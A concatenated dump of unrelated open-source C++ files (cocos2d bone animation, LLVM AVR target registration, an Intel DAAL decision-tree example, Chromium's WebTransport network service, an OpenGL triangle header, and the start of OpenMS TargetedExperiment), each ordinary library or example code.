AffineTransformConcat(getNodeToParentTransform(), _worldTransform); if(_parent) { _worldTransform = AffineTransformConcat(_worldTransform, _parent->_worldTransform); } } DisplayFactory::updateDisplay(this, _displayManager->getCurrentDecorativeDisplay(), delta, _transformDirty); Object *object = NULL; CCARRAY_FOREACH(_children, object) { Bone *childBone = static_cast<Bone *>(object); childBone->update(delta); } _transformDirty = false; } void Bone::updateDisplayedColor(const Color3B &parentColor) { NodeRGBA::updateDisplayedColor(parentColor); updateColor(); } void Bone::updateDisplayedOpacity(GLubyte parentOpacity) { NodeRGBA::updateDisplayedOpacity(parentOpacity); updateColor(); } void Bone::updateColor() { Node *display = _displayManager->getDisplayRenderNode(); RGBAProtocol *protocol = dynamic_cast<RGBAProtocol *>(display); if(protocol != NULL) { protocol->setColor(Color3B(_displayedColor.r * _tweenData->r / 255, _displayedColor.g * _tweenData->g / 255, _displayedColor.b * _tweenData->b / 255)); protocol->setOpacity(_displayedOpacity * _tweenData->a / 255); } } void Bone::addChildBone(Bone *child) { CCASSERT( NULL != child, "Argument must be non-nil"); CCASSERT( NULL == child->_parent, "child already added. It can't be added again"); if(!_children) { childrenAlloc(); } if (_children->getIndexOfObject(child) == UINT_MAX) { _children->addObject(child); child->setParentBone(this); } } void Bone::removeChildBone(Bone *bone, bool recursion) { if ( _children->getIndexOfObject(bone) != UINT_MAX ) { if(recursion) { Array *_ccbones = bone->_children; Object *_object = NULL; CCARRAY_FOREACH(_ccbones, _object) { Bone *_ccBone = static_cast<Bone *>(_object); bone->removeChildBone(_ccBone, recursion); } } bone->setParentBone(NULL); bone->getDisplayManager()->setCurrentDecorativeDisplay(NULL); _children->removeObject(bone); } } void Bone::removeFromParent(bool recursion) { if (NULL != _parent) { _parent->removeChildBone(this, recursion); } } void Bone::setParentBone(Bone *parent) { _parent = parent; } Bone *Bone::getParentBone() { return _parent; } void Bone::childrenAlloc(void) { CC_SAFE_DELETE(_children); _children = Array::createWithCapacity(4); _children->retain(); } void Bone::setChildArmature(Armature *armature) { if (_childArmature != armature) { CC_SAFE_RETAIN(armature); CC_SAFE_RELEASE(_childArmature); _childArmature = armature; } } Armature *Bone::getChildArmature() { return _childArmature; } Array *Bone::getChildren() { return _children; } Tween *Bone::getTween() { return _tween; } void Bone::setZOrder(int zOrder) { if (_ZOrder != zOrder) Node::setZOrder(zOrder); } void Bone::setTransformDirty(bool dirty) { _transformDirty = dirty; } bool Bone::isTransformDirty() { return _transformDirty; } AffineTransform Bone::nodeToArmatureTransform() { return _worldTransform; } void Bone::addDisplay(DisplayData *_displayData, int _index) { _displayManager->addDisplay(_displayData, _index); } void Bone::changeDisplayByIndex(int _index, bool _force) { _displayManager->changeDisplayByIndex(_index, _force); } }}} // namespace cocos2d { namespace extension { namespace armature {
7,840
2,733
//===-- AVRTargetInfo.cpp - AVR Target Implementation ---------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include "llvm/IR/Module.h" #include "llvm/Support/TargetRegistry.h" namespace llvm { Target &getTheAVRTarget() { static Target TheAVRTarget; return TheAVRTarget; } } extern "C" void LLVMInitializeAVRTargetInfo() { llvm::RegisterTarget<llvm::Triple::avr> X(llvm::getTheAVRTarget(), "avr", "Atmel AVR Microcontroller", "AVR"); }
750
233
/* file: dt_reg_dense_batch.cpp */ /******************************************************************************* * Copyright 2014-2019 Intel Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ /* ! Content: ! C++ example of Decision tree regression in the batch processing mode. !******************************************************************************/ /** * <a name="DAAL-EXAMPLE-CPP-DT_REG_DENSE_BATCH"></a> * \example dt_reg_dense_batch.cpp */ #include "daal.h" #include "service.h" #include <cstdio> using namespace std; using namespace daal; using namespace daal::algorithms; /* Input data set parameters */ string trainDatasetFileName = "../data/batch/decision_tree_train.csv"; string pruneDatasetFileName = "../data/batch/decision_tree_prune.csv"; string testDatasetFileName = "../data/batch/decision_tree_test.csv"; const size_t nFeatures = 5; /* Number of features in training and testing data sets */ decision_tree::regression::training::ResultPtr trainingResult; decision_tree::regression::prediction::ResultPtr predictionResult; NumericTablePtr testGroundTruth; void trainModel(); void testModel(); void printResults(); int main(int argc, char * argv[]) { checkArguments(argc, argv, 2, &trainDatasetFileName, &testDatasetFileName); trainModel(); testModel(); printResults(); return 0; } void trainModel() { /* Initialize FileDataSource<CSVFeatureManager> to retrieve the input data from a .csv file */ FileDataSource<CSVFeatureManager> trainDataSource(trainDatasetFileName, DataSource::notAllocateNumericTable, DataSource::doDictionaryFromContext); /* Create Numeric Tables for training data and dependent variables */ NumericTablePtr trainData(new HomogenNumericTable<>(nFeatures, 0, NumericTable::notAllocate)); NumericTablePtr trainGroundTruth(new HomogenNumericTable<>(1, 0, NumericTable::notAllocate)); NumericTablePtr mergedData(new MergedNumericTable(trainData, trainGroundTruth)); /* Retrieve the data from the input file */ trainDataSource.loadDataBlock(mergedData.get()); /* Initialize FileDataSource<CSVFeatureManager> to retrieve the pruning input data from a .csv file */ FileDataSource<CSVFeatureManager> pruneDataSource(pruneDatasetFileName, DataSource::notAllocateNumericTable, DataSource::doDictionaryFromContext); /* Create Numeric Tables for pruning data and dependent variables */ NumericTablePtr pruneData(new HomogenNumericTable<>(nFeatures, 0, NumericTable::notAllocate)); NumericTablePtr pruneGroundTruth(new HomogenNumericTable<>(1, 0, NumericTable::notAllocate)); NumericTablePtr pruneMergedData(new MergedNumericTable(pruneData, pruneGroundTruth)); /* Retrieve the data from the pruning input file */ pruneDataSource.loadDataBlock(pruneMergedData.get()); /* Create an algorithm object to train the Decision tree model */ decision_tree::regression::training::Batch<> algorithm; /* Pass the training data set, dependent variables, and pruning dataset with dependent variables to the algorithm */ algorithm.input.set(decision_tree::regression::training::data, trainData); algorithm.input.set(decision_tree::regression::training::dependentVariables, trainGroundTruth); algorithm.input.set(decision_tree::regression::training::dataForPruning, pruneData); algorithm.input.set(decision_tree::regression::training::dependentVariablesForPruning, pruneGroundTruth); /* Train the Decision tree model */ algorithm.compute(); /* Retrieve the results of the training algorithm */ trainingResult = algorithm.getResult(); } void testModel() { /* Initialize FileDataSource<CSVFeatureManager> to retrieve the test data from a .csv file */ FileDataSource<CSVFeatureManager> testDataSource(testDatasetFileName, DataSource::notAllocateNumericTable, DataSource::doDictionaryFromContext); /* Create Numeric Tables for testing data and dependent variables */ NumericTablePtr testData(new HomogenNumericTable<>(nFeatures, 0, NumericTable::notAllocate)); testGroundTruth = NumericTablePtr(new HomogenNumericTable<>(1, 0, NumericTable::notAllocate)); NumericTablePtr mergedData(new MergedNumericTable(testData, testGroundTruth)); /* Retrieve the data from input file */ testDataSource.loadDataBlock(mergedData.get()); /* Create algorithm objects for Decision tree prediction with the default method */ decision_tree::regression::prediction::Batch<> algorithm; /* Pass the testing data set and trained model to the algorithm */ algorithm.input.set(decision_tree::regression::prediction::data, testData); algorithm.input.set(decision_tree::regression::prediction::model, trainingResult->get(decision_tree::regression::training::model)); /* Compute prediction results */ algorithm.compute(); /* Retrieve algorithm results */ predictionResult = algorithm.getResult(); } void printResults() { printNumericTables<float, float>(testGroundTruth, predictionResult->get(decision_tree::regression::prediction::prediction), "Ground truth", "Regression results", "Decision tree regression results (first 20 observations):", 20); }
5,802
1,625
// Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "services/network/web_transport.h" #include "base/auto_reset.h" #include "base/bind.h" #include "base/memory/raw_ptr.h" #include "base/notreached.h" #include "base/strings/string_util.h" #include "base/threading/sequenced_task_runner_handle.h" #include "base/time/time.h" #include "net/base/io_buffer.h" #include "net/quic/platform/impl/quic_mem_slice_impl.h" #include "net/third_party/quiche/src/quic/core/quic_session.h" #include "net/third_party/quiche/src/quic/core/quic_time.h" #include "net/third_party/quiche/src/quic/core/quic_types.h" #include "net/third_party/quiche/src/quic/platform/api/quic_mem_slice.h" #include "services/network/network_context.h" #include "services/network/public/mojom/web_transport.mojom.h" namespace network { namespace { net::WebTransportParameters CreateParameters( const std::vector<mojom::WebTransportCertificateFingerprintPtr>& fingerprints) { net::WebTransportParameters params; params.enable_quic_transport = false; params.enable_web_transport_http3 = true; for (const auto& fingerprint : fingerprints) { params.server_certificate_fingerprints.push_back( quic::CertificateFingerprint{.algorithm = fingerprint->algorithm, .fingerprint = fingerprint->fingerprint}); } return params; } } // namespace class WebTransport::Stream final { public: class StreamVisitor final : public quic::WebTransportStreamVisitor { public: explicit StreamVisitor(Stream* stream) : stream_(stream->weak_factory_.GetWeakPtr()) {} ~StreamVisitor() override { if (stream_) { if (stream_->incoming_) { stream_->writable_watcher_.Cancel(); stream_->writable_.reset(); stream_->transport_->client_->OnIncomingStreamClosed( stream_->id_, /*fin_received=*/false); stream_->incoming_ = nullptr; } if (stream_->outgoing_) { stream_->readable_watcher_.Cancel(); stream_->readable_.reset(); stream_->outgoing_ = nullptr; } stream_->MayDisposeLater(); } } // Visitor implementation: void OnCanRead() override { base::SequencedTaskRunnerHandle::Get()->PostTask( FROM_HERE, base::BindOnce(&Stream::Receive, stream_)); } void OnCanWrite() override { base::SequencedTaskRunnerHandle::Get()->PostTask( FROM_HERE, base::BindOnce(&Stream::Send, stream_)); } void OnResetStreamReceived(quic::WebTransportStreamError error) override { if (auto* stream = stream_.get()) { stream->OnResetStreamReceived(error); } } void OnStopSendingReceived(quic::WebTransportStreamError error) override { if (auto* stream = stream_.get()) { stream->OnStopSendingReceived(error); } } void OnWriteSideInDataRecvdState() override { if (auto* stream = stream_.get()) { stream->OnWriteSideInDataRecvdState(); } } private: const base::WeakPtr<Stream> stream_; }; // Bidirectional Stream(WebTransport* transport, quic::WebTransportStream* stream, mojo::ScopedDataPipeConsumerHandle readable, mojo::ScopedDataPipeProducerHandle writable) : transport_(transport), id_(stream->GetStreamId()), outgoing_(stream), incoming_(stream), readable_(std::move(readable)), writable_(std::move(writable)), readable_watcher_(FROM_HERE, ArmingPolicy::MANUAL), writable_watcher_(FROM_HERE, ArmingPolicy::MANUAL) { DCHECK(outgoing_); DCHECK(incoming_); DCHECK(readable_); DCHECK(writable_); Init(); } // Unidirectional: outgoing Stream(WebTransport* transport, quic::WebTransportStream* outgoing, mojo::ScopedDataPipeConsumerHandle readable) : transport_(transport), id_(outgoing->GetStreamId()), outgoing_(outgoing), readable_(std::move(readable)), readable_watcher_(FROM_HERE, ArmingPolicy::MANUAL), writable_watcher_(FROM_HERE, ArmingPolicy::MANUAL) { DCHECK(outgoing_); DCHECK(readable_); Init(); } // Unidirectional: incoming Stream(WebTransport* transport, quic::WebTransportStream* incoming, mojo::ScopedDataPipeProducerHandle writable) : transport_(transport), id_(incoming->GetStreamId()), incoming_(incoming), writable_(std::move(writable)), readable_watcher_(FROM_HERE, ArmingPolicy::MANUAL), writable_watcher_(FROM_HERE, ArmingPolicy::MANUAL) { DCHECK(incoming_); DCHECK(writable_); Init(); } void NotifyFinFromClient() { has_received_fin_from_client_ = true; MaySendFin(); } void Abort(uint8_t code) { if (!outgoing_) { return; } outgoing_->ResetWithUserCode(code); outgoing_ = nullptr; readable_watcher_.Cancel(); readable_.reset(); MayDisposeLater(); } void StopSending(uint8_t code) { if (!incoming_) { return; } incoming_->SendStopSending(code); incoming_ = nullptr; writable_watcher_.Cancel(); writable_.reset(); MayDisposeLater(); } ~Stream() { auto* stream = incoming_ ? incoming_.get() : outgoing_.get(); if (!stream) { return; } stream->MaybeResetDueToStreamObjectGone(); } private: using ArmingPolicy = mojo::SimpleWatcher::ArmingPolicy; void Init() { if (outgoing_) { DCHECK(readable_); outgoing_->SetVisitor(std::make_unique<StreamVisitor>(this)); readable_watcher_.Watch( readable_.get(), MOJO_HANDLE_SIGNAL_NEW_DATA_READABLE | MOJO_HANDLE_SIGNAL_PEER_CLOSED, MOJO_TRIGGER_CONDITION_SIGNALS_SATISFIED, base::BindRepeating(&Stream::OnReadable, base::Unretained(this))); readable_watcher_.ArmOrNotify(); } if (incoming_) { DCHECK(writable_); if (incoming_ != outgoing_) { incoming_->SetVisitor(std::make_unique<StreamVisitor>(this)); } writable_watcher_.Watch( writable_.get(), MOJO_HANDLE_SIGNAL_WRITABLE, MOJO_TRIGGER_CONDITION_SIGNALS_SATISFIED, base::BindRepeating(&Stream::OnWritable, base::Unretained(this))); writable_watcher_.ArmOrNotify(); } } void OnReadable(MojoResult result, const mojo::HandleSignalsState& state) { DCHECK_EQ(result, MOJO_RESULT_OK); Send(); } void Send() { MaySendFin(); while (outgoing_ && outgoing_->CanWrite()) { const void* data = nullptr; uint32_t available = 0; MojoResult result = readable_->BeginReadData( &data, &available, MOJO_BEGIN_READ_DATA_FLAG_NONE); if (result == MOJO_RESULT_SHOULD_WAIT) { readable_watcher_.Arm(); return; } if (result == MOJO_RESULT_FAILED_PRECONDITION) { has_seen_end_of_pipe_for_readable_ = true; MaySendFin(); return; } DCHECK_EQ(result, MOJO_RESULT_OK); bool send_result = outgoing_->Write( absl::string_view(reinterpret_cast<const char*>(data), available)); if (!send_result) { // TODO(yhirano): Handle this failure. readable_->EndReadData(0); return; } readable_->EndReadData(available); } } void OnWritable(MojoResult result, const mojo::HandleSignalsState& state) { DCHECK_EQ(result, MOJO_RESULT_OK); Receive(); } void MaySendFin() { if (!outgoing_) { return; } if (!has_seen_end_of_pipe_for_readable_ || !has_received_fin_from_client_) { return; } if (outgoing_->SendFin()) { // We don't reset `outgoing_` as we want to wait for the ACK signal. readable_watcher_.Cancel(); readable_.reset(); } // Otherwise, retry in Send(). } void Receive() { while (incoming_) { quic::WebTransportStream::ReadResult read_result; if (incoming_->ReadableBytes() > 0) { void* buffer = nullptr; uint32_t available = 0; MojoResult result = writable_->BeginWriteData( &buffer, &available, MOJO_BEGIN_WRITE_DATA_FLAG_NONE); if (result == MOJO_RESULT_SHOULD_WAIT) { writable_watcher_.Arm(); return; } if (result == MOJO_RESULT_FAILED_PRECONDITION) { // The client doesn't want further data. writable_watcher_.Cancel(); writable_.reset(); incoming_ = nullptr; MayDisposeLater(); return; } DCHECK_EQ(result, MOJO_RESULT_OK); read_result = incoming_->Read(reinterpret_cast<char*>(buffer), available); writable_->EndWriteData(read_result.bytes_read); } else { // Even if ReadableBytes() == 0, we may need to read the FIN at the end // of the stream. read_result = incoming_->Read(nullptr, 0); if (!read_result.fin) { return; } } if (read_result.fin) { transport_->client_->OnIncomingStreamClosed(id_, /*fin_received=*/true); writable_watcher_.Cancel(); writable_.reset(); incoming_ = nullptr; MayDisposeLater(); return; } } } void OnResetStreamReceived(quic::WebTransportStreamError error) { if (transport_->client_) { transport_->client_->OnReceivedResetStream(id_, error); } incoming_ = nullptr; writable_watcher_.Cancel(); writable_.reset(); MayDisposeLater(); } void OnStopSendingReceived(quic::WebTransportStreamError error) { if (transport_->client_) { transport_->client_->OnReceivedStopSending(id_, error); } outgoing_ = nullptr; readable_watcher_.Cancel(); readable_.reset(); MayDisposeLater(); } void OnWriteSideInDataRecvdState() { if (transport_->client_) { transport_->client_->OnOutgoingStreamClosed(id_); } outgoing_ = nullptr; readable_watcher_.Cancel(); readable_.reset(); MayDisposeLater(); } void Dispose() { transport_->streams_.erase(id_); // Deletes |this|. } void MayDisposeLater() { if (outgoing_ || incoming_) { return; } base::SequencedTaskRunnerHandle::Get()->PostTask( FROM_HERE, base::BindOnce(&Stream::Dispose, weak_factory_.GetWeakPtr())); } const raw_ptr<WebTransport> transport_; // outlives |this|. const uint32_t id_; // |outgoing_| and |incoming_| point to the same stream when this is a // bidirectional stream. They are owned by |transport_| (via // quic::QuicSession), and the properties will be null-set when the streams // are gone (via StreamVisitor). raw_ptr<quic::WebTransportStream> outgoing_ = nullptr; raw_ptr<quic::WebTransportStream> incoming_ = nullptr; mojo::ScopedDataPipeConsumerHandle readable_; // for |outgoing| mojo::ScopedDataPipeProducerHandle writable_; // for |incoming| mojo::SimpleWatcher readable_watcher_; mojo::SimpleWatcher writable_watcher_; bool has_seen_end_of_pipe_for_readable_ = false; bool has_received_fin_from_client_ = false; // This must be the last member. base::WeakPtrFactory<Stream> weak_factory_{this}; }; WebTransport::WebTransport( const GURL& url, const url::Origin& origin, const net::NetworkIsolationKey& key, const std::vector<mojom::WebTransportCertificateFingerprintPtr>& fingerprints, NetworkContext* context, mojo::PendingRemote<mojom::WebTransportHandshakeClient> handshake_client) : transport_(net::CreateWebTransportClient(url, origin, this, key, context->url_request_context(), CreateParameters(fingerprints))), context_(context), receiver_(this), handshake_client_(std::move(handshake_client)) { handshake_client_.set_disconnect_handler( base::BindOnce(&WebTransport::Dispose, base::Unretained(this))); transport_->Connect(); } WebTransport::~WebTransport() = default; void WebTransport::SendDatagram(base::span<const uint8_t> data, base::OnceCallback<void(bool)> callback) { DCHECK(!torn_down_); datagram_callbacks_.emplace(std::move(callback)); auto buffer = base::MakeRefCounted<net::IOBuffer>(data.size()); memcpy(buffer->data(), data.data(), data.size()); quic::QuicMemSlice slice( quic::QuicMemSliceImpl(std::move(buffer), data.size())); transport_->session()->SendOrQueueDatagram(std::move(slice)); } void WebTransport::CreateStream( mojo::ScopedDataPipeConsumerHandle readable, mojo::ScopedDataPipeProducerHandle writable, base::OnceCallback<void(bool, uint32_t)> callback) { // |readable| is non-nullable, |writable| is nullable. DCHECK(readable); if (handshake_client_) { // Invalid request. std::move(callback).Run(false, 0); return; } quic::WebTransportSession* const session = transport_->session(); if (writable) { // Bidirectional if (!session->CanOpenNextOutgoingBidirectionalStream()) { // TODO(crbug.com/104236): Instead of rejecting the creation request, we // should wait in this case. std::move(callback).Run(false, 0); return; } quic::WebTransportStream* const stream = session->OpenOutgoingBidirectionalStream(); DCHECK(stream); streams_.insert(std::make_pair( stream->GetStreamId(), std::make_unique<Stream>(this, stream, std::move(readable), std::move(writable)))); std::move(callback).Run(true, stream->GetStreamId()); return; } // Unidirectional if (!session->CanOpenNextOutgoingUnidirectionalStream()) { // TODO(crbug.com/104236): Instead of rejecting the creation request, we // should wait in this case. std::move(callback).Run(false, 0); return; } quic::WebTransportStream* const stream = session->OpenOutgoingUnidirectionalStream(); DCHECK(stream); streams_.insert(std::make_pair( stream->GetStreamId(), std::make_unique<Stream>(this, stream, std::move(readable)))); std::move(callback).Run(true, stream->GetStreamId()); } void WebTransport::AcceptBidirectionalStream( BidirectionalStreamAcceptanceCallback acceptance) { bidirectional_stream_acceptances_.push(std::move(acceptance)); OnIncomingBidirectionalStreamAvailable(); } void WebTransport::AcceptUnidirectionalStream( UnidirectionalStreamAcceptanceCallback acceptance) { unidirectional_stream_acceptances_.push(std::move(acceptance)); OnIncomingUnidirectionalStreamAvailable(); } void WebTransport::SendFin(uint32_t stream) { auto it = streams_.find(stream); if (it == streams_.end()) { return; } it->second->NotifyFinFromClient(); } void WebTransport::AbortStream(uint32_t stream, uint8_t code) { auto it = streams_.find(stream); if (it == streams_.end()) { return; } it->second->Abort(code); } void WebTransport::StopSending(uint32_t stream, uint8_t code) { auto it = streams_.find(stream); if (it == streams_.end()) { return; } it->second->StopSending(code); } void WebTransport::SetOutgoingDatagramExpirationDuration( base::TimeDelta duration) { if (torn_down_) { return; } transport_->session()->SetDatagramMaxTimeInQueue( quic::QuicTime::Delta::FromMicroseconds(duration.InMicroseconds())); } void WebTransport::Close(mojom::WebTransportCloseInfoPtr close_info) { if (torn_down_) { return; } closing_ = true; receiver_.reset(); handshake_client_.reset(); client_.reset(); absl::optional<net::WebTransportCloseInfo> close_info_to_pass; if (close_info) { close_info_to_pass = absl::make_optional<net::WebTransportCloseInfo>(close_info->code, ""); // As described at // https://w3c.github.io/webtransport/#dom-webtransport-close, // the size of the reason string must not exceed 1024. constexpr size_t kMaxSize = 1024; if (close_info->reason.size() > kMaxSize) { base::TruncateUTF8ToByteSize(close_info->reason, kMaxSize, &close_info_to_pass->reason); } else { close_info_to_pass->reason = std::move(close_info->reason); } } transport_->Close(close_info_to_pass); } void WebTransport::OnConnected( scoped_refptr<net::HttpResponseHeaders> response_headers) { if (torn_down_) { return; } DCHECK(handshake_client_); handshake_client_->OnConnectionEstablished( receiver_.BindNewPipeAndPassRemote(), client_.BindNewPipeAndPassReceiver(), std::move(response_headers)); handshake_client_.reset(); // We set the disconnect handler for `receiver_`, not `client_`, in order // to make the closing sequence consistent: The client calls Close() and // then resets the mojo endpoints. receiver_.set_disconnect_handler( base::BindOnce(&WebTransport::Dispose, base::Unretained(this))); } void WebTransport::OnConnectionFailed(const net::WebTransportError& error) { if (torn_down_) { return; } DCHECK(handshake_client_); // Here we assume that the error is not going to handed to the // initiator renderer. handshake_client_->OnHandshakeFailed(error); TearDown(); } void WebTransport::OnClosed( const absl::optional<net::WebTransportCloseInfo>& close_info) { if (torn_down_) { return; } DCHECK(!handshake_client_); if (closing_) { closing_ = false; } else { mojom::WebTransportCloseInfoPtr close_info_to_pass; if (close_info) { close_info_to_pass = mojom::WebTransportCloseInfo::New( close_info->code, close_info->reason); } client_->OnClosed(std::move(close_info_to_pass)); } TearDown(); } void WebTransport::OnError(const net::WebTransportError& error) { if (torn_down_) { return; } if (closing_) { closing_ = false; } DCHECK(!handshake_client_); TearDown(); } void WebTransport::OnIncomingBidirectionalStreamAvailable() { DCHECK(!handshake_client_); DCHECK(client_); while (!bidirectional_stream_acceptances_.empty()) { quic::WebTransportStream* const stream = transport_->session()->AcceptIncomingBidirectionalStream(); if (!stream) { return; } auto acceptance = std::move(bidirectional_stream_acceptances_.front()); bidirectional_stream_acceptances_.pop(); mojo::ScopedDataPipeConsumerHandle readable_for_outgoing; mojo::ScopedDataPipeProducerHandle writable_for_outgoing; mojo::ScopedDataPipeConsumerHandle readable_for_incoming; mojo::ScopedDataPipeProducerHandle writable_for_incoming; const MojoCreateDataPipeOptions options = { sizeof(options), MOJO_CREATE_DATA_PIPE_FLAG_NONE, 1, 256 * 1024}; if (mojo::CreateDataPipe(&options, writable_for_outgoing, readable_for_outgoing) != MOJO_RESULT_OK) { stream->ResetDueToInternalError(); // TODO(yhirano): Error the entire connection. return; } if (mojo::CreateDataPipe(&options, writable_for_incoming, readable_for_incoming) != MOJO_RESULT_OK) { stream->ResetDueToInternalError(); // TODO(yhirano): Error the entire connection. return; } streams_.insert(std::make_pair( stream->GetStreamId(), std::make_unique<Stream>(this, stream, std::move(readable_for_outgoing), std::move(writable_for_incoming)))); std::move(acceptance) .Run(stream->GetStreamId(), std::move(readable_for_incoming), std::move(writable_for_outgoing)); } } void WebTransport::OnIncomingUnidirectionalStreamAvailable() { DCHECK(!handshake_client_); DCHECK(client_); while (!unidirectional_stream_acceptances_.empty()) { quic::WebTransportStream* const stream = transport_->session()->AcceptIncomingUnidirectionalStream(); if (!stream) { return; } auto acceptance = std::move(unidirectional_stream_acceptances_.front()); unidirectional_stream_acceptances_.pop(); mojo::ScopedDataPipeConsumerHandle readable_for_incoming; mojo::ScopedDataPipeProducerHandle writable_for_incoming; const MojoCreateDataPipeOptions options = { sizeof(options), MOJO_CREATE_DATA_PIPE_FLAG_NONE, 1, 256 * 1024}; if (mojo::CreateDataPipe(&options, writable_for_incoming, readable_for_incoming) != MOJO_RESULT_OK) { stream->ResetDueToInternalError(); // TODO(yhirano): Error the entire connection. return; } streams_.insert( std::make_pair(stream->GetStreamId(), std::make_unique<Stream>( this, stream, std::move(writable_for_incoming)))); std::move(acceptance) .Run(stream->GetStreamId(), std::move(readable_for_incoming)); } } void WebTransport::OnDatagramReceived(base::StringPiece datagram) { if (torn_down_) { return; } client_->OnDatagramReceived(base::make_span( reinterpret_cast<const uint8_t*>(datagram.data()), datagram.size())); } void WebTransport::OnCanCreateNewOutgoingBidirectionalStream() { // TODO(yhirano): Implement this. } void WebTransport::OnCanCreateNewOutgoingUnidirectionalStream() { // TODO(yhirano): Implement this. } void WebTransport::OnDatagramProcessed( absl::optional<quic::MessageStatus> status) { DCHECK(!datagram_callbacks_.empty()); std::move(datagram_callbacks_.front()) .Run(status == quic::MESSAGE_STATUS_SUCCESS); datagram_callbacks_.pop(); } void WebTransport::TearDown() { torn_down_ = true; receiver_.reset(); handshake_client_.reset(); client_.reset(); base::SequencedTaskRunnerHandle::Get()->PostTask( FROM_HERE, base::BindOnce(&WebTransport::Dispose, weak_factory_.GetWeakPtr())); } void WebTransport::Dispose() { receiver_.reset(); context_->Remove(this); // |this| is deleted. } } // namespace network
22,224
7,222
#ifndef TRIANGLE_HPP #define TRIANGLE_HPP #include <GL/glew.h> #include <GLFW/glfw3.h> #include "GameObject.hpp" #include "Position.h" #include "Color.h" //TODO: manage width and color class Triangle : public GameObject { public: Triangle(); void init() override; void draw() const override; void erase() const override; void moveX(unsigned int movement) override; void moveY(unsigned int movement) override; void setXY(int x, int y) override; }; #endif
487
172
// -------------------------------------------------------------------------- // OpenMS -- Open-Source Mass Spectrometry // -------------------------------------------------------------------------- // Copyright The OpenMS Team -- Eberhard Karls University Tuebingen, // ETH Zurich, and Freie Universitaet Berlin 2002-2016. // // This software is released under a three-clause BSD license: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of any author or any participating institution // may be used to endorse or promote products derived from this software // without specific prior written permission. // For a full list of authors, refer to the file AUTHORS. // -------------------------------------------------------------------------- // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL ANY OF THE AUTHORS OR THE CONTRIBUTING // INSTITUTIONS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; // OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, // WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF // ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // -------------------------------------------------------------------------- // $Maintainer: Hannes Roest $ // $Authors: Andreas Bertsch $ // -------------------------------------------------------------------------- #include <OpenMS/ANALYSIS/TARGETED/TargetedExperiment.h> #include <algorithm> namespace OpenMS { TargetedExperiment::TargetedExperiment() { } TargetedExperiment::TargetedExperiment(const TargetedExperiment & rhs) : cvs_(rhs.cvs_), contacts_(rhs.contacts_), publications_(rhs.publications_), instruments_(rhs.instruments_), targets_(rhs.targets_), software_(rhs.software_), proteins_(rhs.proteins_), compounds_(rhs.compounds_), peptides_(rhs.peptides_), transitions_(rhs.transitions_), include_targets_(rhs.include_targets_), exclude_targets_(rhs.exclude_targets_), source_files_(rhs.source_files_), protein_reference_map_dirty_(true), peptide_reference_map_dirty_(true) { } TargetedExperiment::~TargetedExperiment() { } TargetedExperiment & TargetedExperiment::operator=(const TargetedExperiment & rhs) { if (&rhs != this) { cvs_ = rhs.cvs_; contacts_ = rhs.contacts_; publications_ = rhs.publications_; instruments_ = rhs.instruments_; targets_ = rhs.targets_; software_ = rhs.software_; proteins_ = rhs.proteins_; compounds_ = rhs.compounds_; peptides_ = rhs.peptides_; transitions_ = rhs.transitions_; include_targets_ = rhs.include_targets_; exclude_targets_ = rhs.exclude_targets_; source_files_ = rhs.source_files_; protein_reference_map_dirty_ = true; peptide_reference_map_dirty_ = true; } return *this; } TargetedExperiment TargetedExperiment::operator+(const TargetedExperiment & rhs) const { TargetedExperiment tmp(*this); tmp += rhs; return tmp; } TargetedExperiment & TargetedExperiment::operator+=(const TargetedExperiment & rhs) { protein_reference_map_dirty_ = true; peptide_reference_map_dirty_ = true; // merge these: cvs_.insert(cvs_.end(), rhs.cvs_.begin(), rhs.cvs_.end()); contacts_.insert(contacts_.end(), rhs.contacts_.begin(), rhs.contacts_.end()); publications_.insert(publications_.end(), rhs.publications_.begin(), rhs.publications_.end()); instruments_.insert(instruments_.end(), rhs.instruments_.begin(), rhs.instruments_.end()); software_.insert(software_.end(), rhs.software_.begin(), rhs.software_.end()); proteins_.insert(proteins_.end(), rhs.proteins_.begin(), rhs.proteins_.end()); compounds_.insert(compounds_.end(), rhs.compounds_.begin(), rhs.compounds_.end()); peptides_.insert(peptides_.end(), rhs.peptides_.begin(), rhs.peptides_.end()); transitions_.insert(transitions_.end(), rhs.transitions_.begin(), rhs.transitions_.end()); include_targets_.insert(include_targets_.end(), rhs.include_targets_.begin(), rhs.include_targets_.end()); exclude_targets_.insert(exclude_targets_.end(), rhs.exclude_targets_.begin(), rhs.exclude_targets_.end()); source_files_.insert(source_files_.end(), rhs.source_files_.begin(), rhs.source_files_.end()); for (Map<String, std::vector<CVTerm> >::const_iterator targ_it = rhs.targets_.getCVTerms().begin(); targ_it != rhs.targets_.getCVTerms().end(); ++targ_it) { for (std::vector<CVTerm>::const_iterator term_it = targ_it->second.begin(); term_it != targ_it->second.end(); ++term_it) { targets_.addCVTerm(*term_it); } } // todo: check 